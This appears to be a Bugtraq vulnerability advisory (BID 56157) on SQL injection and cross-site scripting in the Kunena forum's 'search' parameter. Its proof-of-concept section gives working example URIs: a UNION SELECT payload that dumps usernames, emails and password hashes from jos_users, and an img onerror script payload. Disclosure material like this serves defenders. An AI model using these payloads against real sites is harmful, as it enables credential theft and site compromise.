Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
BID:56157
Info
Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 56157 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 21 2012 12:00AM |
| Updated: | Oct 21 2012 12:00AM |
| Credit: | TAURUS OMAR |
| Vulnerable: |
Kunena Team Kunena 1.6.3 Kunena Team Kunena 1.6.2 Kunena Team Kunena 1.5.14 Kunena Team Kunena 1.5.7 Kunena Team Kunena 1.5.6 Kunena Team Kunena 1.5.4 |
| Not Vulnerable: | |
Discussion
Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
Kunena is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Kunena is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?option=com_kunena&func=userlist&search=%25%27%20and%201=2%29%20union%20select%201,%20concat%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,concat%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,%27Super%20Administrator%27,%27email%27,%272009-11-26%2022:09:28%27,%272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from%20jos_users--%20;
http://www.example.com/index.php?option=com_kunena&func=userlist&search="><img src=x onerror=;;alert('1337') />
Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issue, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?option=com_kunena&func=userlist&search=%25%27%20and%201=2%29%20union%20select%201,%20concat%280x3a,username,0x3a,email,0x3a,0x3a,activation%29,concat%280x3a,username,0x3a,email,0x3a,password,0x3a,activation%29,%27Super%20Administrator%27,%27email%27,%272009-11-26%2022:09:28%27,%272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from%20jos_users--%20;
http://www.example.com/index.php?option=com_kunena&func=userlist&search="><img src=x onerror=;;alert('1337') />
Solution / Fix
Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Kunena 'search' Parameter SQL Injection and Cross Site Scripting Vulnerabilities
References:
References:
- Kunena Homepage (Kunena Team)